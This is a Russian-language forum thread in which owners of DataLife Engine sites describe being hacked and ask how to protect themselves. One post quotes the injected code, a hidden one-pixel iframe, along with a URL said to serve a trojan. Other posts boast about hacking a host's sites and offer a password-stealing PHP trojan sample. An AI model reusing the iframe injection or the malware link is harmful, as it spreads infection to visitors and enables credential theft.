Помощь Проблема, хакнули...

[piratto]

MadMan, DLE 5.0 твой нулл содержит как минимум две инъекции и минимум три XSS. Меня хакали постоянно, пока на 5.3 не перешел.

 

[jiganlimon@mail.ru]

Народ та же проблема, хакнули 2 раза на 5.3 и на 5.5 , первый раз были заменены index.php на пустую страницу, второй раз всё было немного похуже в Index.php, main.tpl, и в какойто файл в папке engine (пришлось снести папку и закинуть другую, так как в каждом файле проверять времени не было) был прописан следуюший код:

<iframe src='http://мой сайт.ru/_vti_txt/' width='1' height='1' style='visibility: hidden;'></iframe><!-- мой сайт.ru --> и при загрузке сайта начинал вопить антивирь... со ссылкой на
на страницу с трояном (ОСТОРОЖНО ВИРУС) codecsoft.net/adv/188/sploit.anr (ОСТОРОЖНО ВИРУС)

кто знает что за уроды, и как с этим боротся.....

 

[Jerry]

еслт два раза с разных версиях то это хостер или ты пароль прое.....

 

[EcSYZ]

Или просто айфреймеры купили себе приватный сплойт и хакают им всех подряд. От этого ничем не спасёшься.

 

[piratto]

Или просто айфреймеры купили себе приватный сплойт и хакают им всех подряд. От этого ничем не спасёшься.

Может быть что и сплоит, но почему не спасешся, спасемся тогда когда ДЛЕшники руки выпрямят и начнут писать скрипты без багов

 

[artem]

я как-то один сайтик хакал, а там у хостера права были выставлены так, что я почти все сайты, которые у него хостились хакануть мог...

 

[kalit]

я как-то один сайтик хакал, а там у хостера права были выставлены так, что я почти все сайты, которые у него хостились хакануть мог...

Да. Можно было бы и поживиться чем нибудь

 

[kazak3]

Или просто айфреймеры купили себе приватный сплойт и хакают им всех подряд. От этого ничем не спасёшься.

всёж как обезопасится максимально?

 

[eshkin]

всёж как обезопасится максимально?

для чувства максимальной безопасности юзать лицензию, утром и вечером бекапить и, в случае хака, журить разработчика Если на лицензию аллергия - бекапить и ставить вовремя обновления антивирь даже не упоминается

 

[Barthez]

все что вы тут обсуждаете это PHP трой называется audiv8index мощная штучка пишет странные инефреймы в index.php и после этого отсылает все ваши логи в нужное место тоесть пассы от FTP,ICQ,eMail,и др
PS: есть этот вирус в PHP файле кому надо есть у меня на сайте